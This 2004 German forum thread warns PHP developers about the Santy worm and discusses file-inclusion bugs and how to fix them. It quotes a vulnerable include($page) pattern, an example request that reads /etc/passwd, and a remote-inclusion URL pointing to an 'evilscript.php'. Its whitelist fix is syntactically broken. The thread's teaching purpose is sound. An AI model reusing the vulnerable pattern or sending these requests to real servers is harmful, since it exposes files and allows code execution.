Vorsich PHP Programmierer - santy.c
Phobos 29.12.2004 - 17:03 637 6
Phobos
✝
|
Vielleicht wissen es einige noch nicht, es gibt da einen neuen Pearl-Wurm, santy.c, welcher (kurz gefasst) Sicherheitslücken bzw. Programmierdenkfehler in PHP-Scripts ausnutzt um an Datenbankinformationen zu kommen u.Ä. Dies betrifft akut Unix und Linux Server! Besonders gefährlich für die Leute die Register Globals an haben Futurezone berichtetEine Liste der _HÄUFIGSTEN_ "Denkfehler"(Auszug: ) 1. Never include, require, or otherwise open a file with a filename based on user input,
without thoroughly checking it first.
Take the following example:
if(isset($page))
{
include($page);
}
Since there is no validation being done on $page,
a malicious user could hypothetically call your script
like this (assuming register_globals is set to ON):
script.php?page=/etc/passwd
Therefore causing your script to include the servers /etc/passwd file.
When a non PHP file is include()'d or require()'d,
it's displayed as HTML/Text, not parsed as PHP code.
HTH!
Bearbeitet von Phobos am 29.12.2004, 17:09
|
semteX
begehrt die rostschaufel
|
all user input is evil!
|
moidaschl
Vollzeit-Hackler
|
all user input is evil! zum obigen beispiel vielleicht ein lösungsvorschlag index.php?main=wert und dann über ein array mit array['".$_GET['main']."'] = "hans.php"; die dateien ansprechen!
Bearbeitet von moidaschl am 29.12.2004, 22:55
|
semteX
begehrt die rostschaufel
|
files includen, die auf user input beruhen ist doch sowieso bitte wahnsinn...
wie schreibt ma da eigentlich am gscheitesten nen checker?
würds reichen, dass ma überprüft obs 1. zeichen ein / ist? (ansonstn kanns ja nur im WWW dir sein..)
|
watchout
Legendundead
|
sorry, aber wer sowas programmiert, is aber echt selbst schuld...
|
dio
Here to stay
|
files includen, die auf user input beruhen ist doch sowieso bitte wahnsinn...
wie schreibt ma da eigentlich am gscheitesten nen checker?
würds reichen, dass ma überprüft obs 1. zeichen ein / ist? (ansonstn kanns ja nur im WWW dir sein..) Die Dateiendung .php zu erzwingen is schon mal ein riesiger Fortschritt, was das Beispiel angeht . sorry, aber wer sowas programmiert, is aber echt selbst schuld... Aber anscheinend gibts genug Leute, die's so machen EDIT: script.php?page=http://mysite.com/evilscript.php an das hab' ich garned gedacht - wie gut, dass ich meine Skripte nicht so aufbaue .
Bearbeitet von dio am 29.12.2004, 23:27
|
Phobos
✝
|
wie schreibt ma da eigentlich am gscheitesten nen checker? steht sogar auf der site wenn du lesen würdest !!11111 ('index.html', 'page2.html', 'page3.html');
if( in_array($page, $pages) )
{
include($page);
{
else
{
die("Nice Try.");
}
Ich mach Websites sehr gern mit diesem System, vielleicht ist es auch Gewöhnungssache, aber es gibt SEHR viele Sites die so aufgebaut sind. Dieses Include mit Userinput ist anscheinend die Hauptproblematik, aber auch in Loginscripts passieren ähnliche Denkfehler recht schnell.
|